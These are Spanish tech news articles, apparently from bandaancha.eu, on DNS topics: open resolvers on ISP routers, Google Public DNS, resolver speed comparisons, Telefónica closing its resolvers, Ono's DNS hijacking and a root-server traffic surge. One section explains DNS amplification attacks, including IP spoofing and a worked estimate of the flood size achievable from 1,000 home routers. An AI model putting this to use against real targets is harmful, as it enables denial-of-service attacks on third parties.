El problema reside en el servidor DNS que llevan incorporados muchos routers ADSL. Su función es resolver las peticiones DNS que llegan desde la red local, pero algunos proveedores de Internet los dejan abiertos al exterior, de modo que también atienden una petición DNS que venga de una IP externa. Es lo que los expertos llaman un open resolver.

Una de las conclusiones del informe es que el porcentaje de servidores DNS en Internet que están configurados como open resolvers ha aumentado de un 50% a un 80% en dos años. Cricket Liu, responsable de Infoblox y autor de varios libros sobre el tema de la editorial O'Reilly, señala a los principales culpables: "The two leading culprits we found were Telefonica and France Telecom".

DNS Amplification

Las peticiones DNS se transportan habitualmente sobre UDP, un protocolo muy ligero, tanto que carece de un mecanismo de validación de la IP remitente, lo que hace que sea posible falsearla, lo que comúnmente se denomina IP spoofing. El ataque, conocido como DNS Amplificatión, consiste en enviar peticiones de resolución DNS simulando que proceden desde la IP de la victima. El servidor DNS enviará la respuesta a la IP falsa. El paquete con la solicitud es de apenas unos 100 bytes, mientras que la respuesta puede ser de hasta 4000 bytes, fragmentada en varios paquetes, lo que supone multiplicar por 40 la información enviada. Utilizando simultáneamente 1.000 routers ADSL domésticos y enviándo 1.000 peticiones por segundo simulando ser la IP de la victima, conseguiremos que esta reciba una avalancha de 32 Gbps, un ataque de denegación distribuida al que ningún servidor podrá resistirse.

Si quieres saber más: Presentación PDF con ejemplos de DNS Amplification

Google quiere minimizar la cadena de intermediarios que hay entre el usuario y sus servidores. Teme a los proveedores de Internet, para los que cada vez representa una mayor amenaza al competir sus servicios con los ofrecidos por las operadoras, como Google Voice o Youtube de pago. Con esa intención acaba de presentar un servicio de resolución DNS con el que Google pasará a dominar un campo estratégico hasta ahora en manos de los ISP: la traducción de los nombres de dominio en la IP del servidor donde se aloja la web.

No solo se quita de en medio a los ISP y la posibilidad de que intercepten resoluciones DNS para por ejemplo introducir publicidad, como ya ha pasado en alguna ocasión, si no que le abre la posibilidad de ofrecer nuevos servicios cuando el usuario teclea una dirección de forma errónea, o lanzando una advertencia cuando vamos a visitar un sitio malicioso. De universalizarse el uso de sus DNS bien podría convertirse en el servidor autoritativo de nuevos tipos de dominios. Por ejemplo, tecleando el nombre de la cuenta de Google podría llevar a la página con el perfil del usuario. O tecleando un número de Google Voice iniciar una llamada.

Las DNS de Google estarán preparadas para resolver de forma muy rápida. Bien es cierto que ese es a menudo el problema que presentan las DNS oficiales de nuestro proveedor de Internet. También habla de seguridad, ya que frecuentemente surgen vulnerabilidades serias relacionadas con la resolución de dominios y no todos los servidores las parchean igual de rápido.

Google Public DNS

Las IPs que ha elegido Google son sumamente fáciles de recordar:

8.8.8.8 google-public-dns-a.google.com
8.8.4.4 google-public-dns-b.google.com

Si quieres probarlas, puedes seguir la guía para cambiar las DNS o las instrucciones oficiales.

En el analizador DNS ya hemos incluidos los dos nuevos servidores de Google. Aunque resuelven rápido, en la mayoría de los casos no lo harán mejor que las DNS de nuestros ISP, puesto que las de Google parecen estar en su cuartel general en EEUU (txuspe aclara que sólo lo parecen). Desde España con un ADSL de Telefónica hay 15 saltos con un RTT de 80 ms. Desde el servidor de bandaancha.eu desde donde realiza las consultas el analizador hay 30 ms. Es probable que en el futuro Google instale nuevos servidores en Europa o incluso en cada país.

Google ya tiene su propio navegador, sistema operativo, servicio de correo electrónico, telefonía VoIP, vídeo bajo demanda de pago muy pronto, servidores DNS. ¿cuándo podremos contratar su ADSL?

Más información en DNS de Google.

Desde que se publicase la noticia de que Google lanzaba sus propios DNS, quería escribir un artículo en el que explicar por qué las bondades que nos prometen quizá no lo sean tanto, pero han sido unos comentarios en la reciente noticia del hijacking de Jazztel los que me han decidido.

No me voy a referir a temas de privacidad, permitir o no que Google (donde digo Google, digo OpenDNS, etc.) conozca las páginas por las que navegamos, si bien lo cierto es que estamos expuestos a ello constantemente, pero ese es otro asunto y cada uno decidirá. Me voy a centrar en la cuestión puramente técnica, por qué los DNS de nuestro operador son más rápidos directa e indirectamente.

A la hora de resolver un dominio la velocidad es muy importante. Unas milésimas de segundo más o menos, multiplicadas por todas las peticiones que se hacen, pueden marcar una diferencia de varios segundos a la hora de cargar una página web. Google nos quiere vender que sus servidores son muy rápidos pues están conectados a muchos operadores de todo el mundo. Y es cierto, seguramente sus servidores resuelvan los nombres muy rápidamente, por no hablar de sus cachés con refresco automático, todo un avance que no tardarán en implementar el resto de servidores DNS. El problema es que el tiempo que ellos tarden en resolver un nombre es realmente el menos importante. Lo principal, y aquí viene el problema, es el tiempo que tarda la consulta en llegar desde nuestro equipo a sus servidores y la respuesta de vuelta a nosotros. Si nos encontramos en España, las consultas a los DNS de Google se responderán desde algún datacenter en el centro de Europa. En cambio, los de nuestro operador nos atienden sin salir de nuestra red, mucho más cerca sin duda, y más rápido por lo tanto.

Pongamos un ejemplo en el escenario más desfavorable: haremos dos peticiones simultáneas, una a Google y otra a nuestro operador. Suponemos que el primero tiene el dominio en caché, así que no necesita consultarlo. Por contra, nuestro operador tendrá que resolver la petición antes de entregárnosla. Si comparamos el tiempo que tardan los paquetes UDP en llegar a Google y volver, con lo que tardan en llegar a nuestro ISP, resolver el dominio y volver a nosotros, tendríamos las dos respuestas prácticamente a la vez. Y eso en el peor de los casos.

Pero no es todo. Muchas páginas web actuales, redes sociales, periódicos digitales y muchas otros sitios que todos visitamos, con niveles de tráfico elevados, utilizan lo que se conoce como CDN. Esto no es otra cosa que una red de servidores repartidos por todo el mundo que atienden nuestras peticiones desde el lugar más próximo, detectando nuestra situación por medio de la IP, de tal forma que la carga de las páginas sea muy rápida, estemos en España o en Australia, pues nos atenderán probablemente sin salir del país. Quizá la empresa de CDN más conocida sea Akamai, pero no es la única. Por poner un ejemplo, Telefónica tiene servidores de Akamai alojados en su propia red. Lo mismo sucede con RedIRIS, la red que conecta las universidades españolas. De esta forma, si hacemos una consulta de un dominio (por ejemplo, www.spain.info, alojado en Akamai) a los DNS de Telefónica, nos devuelven una IP del tipo 194.224.X.X, perteneciente a la propia Telefónica. La carga de la página sin salir de la red del operador es muy rápida por el mismo motivo expuesto arriba. Sucede lo mismo desde cualquier universidad de España, en este caso 130.206.X.X. Desde otros operadores obtendremos resultados similares, con servidores alojados en distintos lugares y redes de nuestro país, según los acuerdos de peering y otros factores. Ahora haremos la misma prueba con los servidores de Google y OpenDNS. Desde los primeros, la IP es 92.122.X.X, situada en Alemania. Para los últimos, 213.155.X.X, del Reino Unido. Nos hacemos una idea de dónde están los servidores de cada empresa. ;)

Podéis realizar vosotros mismos las pruebas anteriores de la siguiente manera: para calcular el tiempo de respuesta, desde Linux, teclearemos dig bandaancha.eu @8.8.8.8 (Google), dig bandaancha.eu @80.58.61.250 (Telefónica), etc.; para ver la dirección en la que resuelve la dirección de ejemplo, en Windows, nslookup www.spain.info 8.8.8.8 y nslookup www.spain.info 80.58.61.250. En Linux, con los mismos comandos de antes veremos las IPs. Se puede probar con los DNS de vuestro operador y luego hacer unas trazas a las IPs en cuestión para ver cuáles están más cerca o son más rápidas.

Con todo esto, vemos como utilizar unos servidores DNS próximos a nosotros (los de nuestro propio operador en este caso) es más rápido, tanto directamente resolviendo peticiones como indirectamente a la hora de navegar.

Foto: Home Network de Leonardo Rizzi

La incidencia en el servicio DNS de Telefónica ha derivado en una avalancha de problemas que afectan a clientes de otros proveedores. La razón se encuentra en la nueva configuración de los servidores DNS, que ya no son accesibles desde fuera de la red de la operadora.

Durante años, los usuarios hemos configurado todo tipo de dispositivos con las DNS de Telefónica, que siempre han sido públicas y han estado abiertas a resolver peticiones desde cualquier punto de la red. Routers ADSL, ordenadores e incluso servidores dedicados tiran de los DNS de Telefónica para resolver las direcciones.

Hace un par de días Telefónica sufrió una incidencia en el servicio DNS. Clientes de la operadora de diversas zonas del país reportaban errores en la resolución de nombres, pero el problema no afectaba a todo el mundo por igual. Al parecer, en las últimas 48 horas, Telefónica ha ido limitando el acceso a sus diversos servidores DNS, autorizando sólo los rangos de IP que le pertenecen. Es posible que durante este proceso, algunos clientes legítimos se quedarán sin poder acceder por pertenecer a rangos secundarios.

Las DNS de Telefónica ya no son públicas

La incidencia ha quedado resuelta, pero ahora hay una segunda avalancha de afectados. Son los usuarios que se conectan a internet a través de otros proveedores pero que utilizan las DNS de Telefónica para navegar. Hasta ahora esto no representaba ningún problema, pero desde ayer a las IP ajenas a la red de Telefónica ya no se les permite utilizarlos. El problema ha llegado a afectar al servicio de asistencia técnica de otros operadores, incrementando el número de llamadas de clientes con problemas de navegación, como nos confirma una de las operadoras afectadas.

Todos los servidores DNS de Telefónica han quedado configurados para rechazar las peticiones de resolución de nombres que proceden de fuera de su red y este cambio parece que será permanente. De modo que no queda otro remedio para todos los usuarios de otros operadores que reconfigurar su router u ordenador modificando los DNS.

DNS alternativas

El analizador DNS de bandaancha.eu no es un simple listado de servidores, sino que analiza de forma activa cada pocos minutos la disponibilidad y el tiempo de respuesta de los DNS de las principales operadoras. Puede resultar muy útil para seleccionar los servidores más adecuados. Recuerda que es preferible utilizar los de tu operador y como último recurso, siempre tienes las DNS de Google.

Recomendado:Cómo cambiar los DNS

Ono cambia la configuración de sus servidores DNS para que redirijan a un buscador cuando el dominio introducido por el usuario en la barra de direcciones del navegador no exista. La operadora se convierte, junto a Yacom y Jazztel, en el tercer proveedor de internet que realiza esta práctica, conocida como DNS Hijacking.

El argumento de las operadoras es que de esta forma se mejora la experiencia de uso de los usuarios cuando surge un error en la navegación. En realidad, el servicio resulta poco práctico, puesto que los resultados ofrecidos por el buscador son en inglés y son poco relevantes para una persona en España. El nuevo comportamiento de los servidores constituye además una violación del protocolo DNS, que obliga a responder con un NXDOMAIN (Non-Existent Domain) cuando el dominio no existe.

De cualquier forma, tanto en el caso de Jazztel como el de Ono, el impacto del cambio de comportamiento de los DNS es mínimo, ya que sólo interceptan dominios que contengan al menos dos 'w' en los dominios de segundo o mayor nivel.

La IP de Ono que intercepta el error es la 81.200.64.183, donde se aloja el buscador dnssearch.ono.es/subscribers

josh@josh-desktop:~$ nslookupwww.dnshijackingsucks.com 62.42.63.52
Address: 81.200.64.183

josh@josh-desktop:~$ nslookupdummywwdummy.mail.dnshijackingsucks.com 62.42.63.52
Address: 81.200.64.183

Su comportamiento es correcto para peticiones de resolución de dominios de primer nivel o inferiores que no contengan dos 'w' seguidas.

josh@josh-desktop:~$ nslookupdnshijackingsucks.com 62.42.63.52
** server can't find dnshijackingsucks.com: NXDOMAIN

josh@josh-desktop:~$ nslookupmail.dnshijackingsucks.com 62.42.63.52
** server can't find mail.dnshijackingsucks.com: NXDOMAIN

En el caso de Jazztel, una de sus DNS se reservó para aquellos usuarios que necesiten el funcionamiento normal de la resolución de nombres. En el caso de Ono, por el momento sólo intercepta dominios el servidor secundario, aunque Ono nos confirma que se extenderá al resto.

En este caso la solución pasa por usar servidores ajenos a los de Ono, como los que aparecen el analizador DNS u otros genéricos, como los DNS de Google u OpenDNS.

Un análisis de ThousandEyes revela a Google como el que tiene el servidor público global de DNSmás rápido. Aunque los resultados varían por paises y no se han tenido en cuenta los servidores de los operadores, en España también es la compañía con sede en Mountain View la ganadora.

Para las pruebas han tenido en consideración accesos a varios servicios DNS que hay en Internet, entre los cuáles estaban OpenDNS, Dyn o Ultra, además de la mencionada Google.

Midiendo lo que tardaba en servir cada servidor DNS la respuesta de aproximadamente 3.000 peticiones procedentes de todo el mundo (con un mínimo de 50 por país), se ha elaborado un interesante mapa que reúne los proveedores que han obtenido menor latencia en cada país.

En el experimento, que se basa en la media durante a lo largo de 24 horas, se ha supuesto que el nombre que se pide resolver está ya en la caché del servidor, ya que de no estarlo, se debería remitir la petición hacia arriba en la jerarquía del protocolo DNS, donde otros servidores (root-servers o encargados de un TLD) son los que indican donde puede solicitar la información, para luego remitirla al usuario original. Mientras todo esto sucede, se va incrementando el tiempo de respuesta.

Los DNS de Google son los más rápidos para España

Google ha sido el que mejores medidas ha tenido en España, y aunque no hay datos detallados por país excepto para Estados Unidos, en general ha sido también esta empresa la que ha logrado mejores resultados, colocando sus dos servidores (8.8.8.8 y 8.8.4.4) por encima de todos los demás con una buena diferencia. Cada uno de los servidores consiguieron ser los más rápidos en un 20% de los casos aproximadamente logrando latencias medias de 61,1 y 61,2 milisegundos.

Curiosamente, en Estados Unidos Google fue el que peores resultados consiguió colocándose último, mientras que OpenDNS ganó claramente.

Si bajamos un poco en el ránking que reune los datos medidos de todo el mundo, Dyn 1 (216.146.35.35) se coloca como el tercero en discordia al dominar buena parte del este de Europa, con una latencia media de 94,6 ms y siendo el más rápido en el 13,5% de los casos.

Para encontrarnos a los servidores OpenDNS (208.67.220.220 y 208.67.222.222) hay que bajar hasta la cuarta y quinta posición, con unas tasas de 84,6 y 85,5 ms con dominio claro de Norteamérica y parte de Europa. A pesar de tener una latencia menor que Dyn1, consiguieron ser menos veces (11,8 y 10,9%) los más rápidos en servir las respuestas a las peticiones.

Como bien indican en el artículo, no se han tenido en cuenta los servidores DNS que tienen los operadores y que se configuran por defecto en los routers de sus clientes, ya que primero querían centrarse en los globales para dejar esta tarea para un posterior estudio.

• Ver Analizador DNS de Bandaancha.eu

Preocupación en el núcleo de Intenet por el gran aumento de tráfico en varios servidores raíz del servicio DNS, básicos para que la resolución de nombres en Internet funcione sin problemas. Por el momento no se han dado situaciones dramáticas de denegación de servicio, aunque están investigando el origen de este fenómeno, que recuerda a anteriores ataques.

DNS (Domain Name System) es uno de los protocolos fundamentales para que Internet funcione tal y como la conocemos hoy en día, ya que permite traducir un nombre (por ejemplo, bandaancha.eu) en la IP del servidor, que es donde finalmente el navegador hace la petición web.

El servicio se basa, en su nivel más alto, en trece servidores raíz (llamados root-servers, con letras de la A a la M), administrados por diferentes entidades: universidades, organismos públicos de Estados Unidos, empresas, o autoridades de asignación de direcciones IP como ICANN o RIPE. A ellos son a los que recurren los servidores DNS intermedios cuando no tienen en su caché la IP del nombre.

Varios de estos servidores han visto desde las 18 horas del día 28 (horario español) un aumento significativo y repentino del tráfico que soportan, provocando que en algún caso no puedan contestar a todas las peticiones realizadas. Ahora mismo, el fenómeno continúa dándose, especialmente en cuatro de los trece servidores, aunque en las últimas mediciones parece que vuelve la normalidad.

El caso más destacable es el del servidor B-Root (el segundo por abajo en la gráfica), donde se están dando momentos en los que entre el 66% y el 90% de las solicitudes no se han podido atender.

El resto de servidores con gráficas pintadas considerablemente de color amarillo son el C, E y G, que indica que menos de un 66% de las solicitudes no tuvieron respuesta. Queda fuera del funcionamiento ideal, pero es la situación menos grave.

RIPE ha anunciado que también su K-Root ha visto multiplicado por cuatro su tráfico habitual, aunque en este caso no se ha visto alterado su funcionamiento de forma significativa. Como vemos en la primera gráfica, el aumento significó pasar de aproximadamente 15.000 peticiones por segundo a más de 65.000 a las 3.30 de la madrugada del día 29.

En este caso, el K-Root es un servidor distribuido en varias localizaciones. La subida de peticiones se hizo al centro de Amsterdam, aunque posteriormente los administradores han redirigido este volumen de tráfico al de Londres para analizar su origen. Desde ayer a las 21 horas aproximadamente, parece que en el K-Root los valores han vuelto a la normalidad.

Aunque no se puede hablar todavía de un ataque coordinado contra uno de los corazones de Internet, la forma tan puntual y aparentemente coordinada con la que el tráfico hacia estos servidores ha aumentado hace recordar casos anteriores.

Ya hubo dos ataques importantes a estos servidores en la anterior década

Hace ya unos años, en 2002, hubo un ataque DDoS que consiguió hacer que nueve de estos servidores no pudieran responder a un gran portentaje de las peticiones, causando bastantes problemas. En total, se usó una fuerza bruta de peticiones que sumaban en total 900 Mbps.

En 2007 ocurrió un evento similar, aunque con efectos bastante más débiles, ya que sólo pudieron hacer sufrir a dos de los servidores (G-Root y L-Root), mientras que los F y M sólo reportaron un tráfico mayor del habitual. En esta ocasión, se utilizó una red de ordenadores infectados zombie, también conocida como botnet.

En cualquier caso, habrá que esperar a que los expertos que están trabajando analizando esta situación den una opinión al respecto a lo que ha pasado en varios servidores .